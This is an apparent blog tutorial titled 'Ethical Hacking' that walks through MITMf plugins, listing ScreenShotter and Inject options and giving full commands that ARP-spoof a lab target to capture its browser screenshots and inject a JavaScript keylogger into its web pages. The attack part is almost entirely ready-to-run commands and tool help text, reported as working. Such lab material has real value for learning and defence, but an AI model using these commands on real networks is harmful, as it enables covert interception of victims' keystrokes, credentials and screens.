zoukankan      html  css  js  c++  java
  • Ethical Hacking

    MITM - Capturing Screen Of Target & Injecting a Keylogger

    ScreenShotter Plugin:

    ScreenShotter:
      Uses HTML5 Canvas to render an accurate screenshot of a clients browser
    
      --screen              Load plugin 'ScreenShotter'
      --interval SECONDS    Interval at which screenshots will be taken (default 10 seconds)

    Inject Plugin:

    Inject:
      Inject arbitrary content into HTML content
    
      --inject              Load plugin 'Inject'
      --js-url JS_URL       URL of the JS to inject
      --js-payload JS_PAYLOAD
                            JS string to inject
      --js-file JS_FILE     File containing JS to inject
      --html-url HTML_URL   URL of the HTML to inject
      --html-payload HTML_PAYLOAD
                            HTML string to inject
      --html-file HTML_FILE
                            File containing HTML to inject
      --per-domain          Inject once per domain per client.
      --rate-limit RATE_LIMIT
                            Inject once every RATE_LIMIT seconds per client.
      --count-limit COUNT_LIMIT
                            Inject only COUNT_LIMIT times per client.
      --white-ips IP        Inject content ONLY for these ips (comma seperated)
      --black-ips IP        DO NOT inject content for these ips (comma seperated)
      --white-domains DOMAINS
                            Inject content ONLY for these domains (comma seperated)
      --black-domains DOMAINS
                            DO NOT inject content for these domains (comma seperated)

    Test the ScreenShotter on Victim Windows PC.

    python2 mitmf.py --arp --spoof --gateway 10.0.0.1 --targets 10.0.0.22 -i eth0 --screen

    It works perfectly.

     

     

    JSKeylogger Plugin:

    JSKeylogger:
      Injects a javascript keylogger into clients webpages
    
      --jskeylogger         Load plugin 'JSKeylogger'

    Usage:

    python2 mitmf.py --arp --spoof --gateway 10.0.0.1 --target 10.0.0.22 -i eth0 --jskeylogger

     It works...

     

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    材料订单不在IN_MO或者IN_SCFHEADER中
    FP ABPPMGR表 其它常用存储过程
    ORA-01578 ORACLE data block corrupted (file # 29, block # 2889087)
    PR合并回写
    MySQL优化
    分享一些JVM常见的面试题(转)
    怎么保证 redis 和 db 中的数据一致
    User space(用户空间) 与 Kernel space(内核空间)
    如何设计一个安全的对外接口?(转)
    Jstack命令详解
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/12040866.html
Copyright © 2011-2022 走看看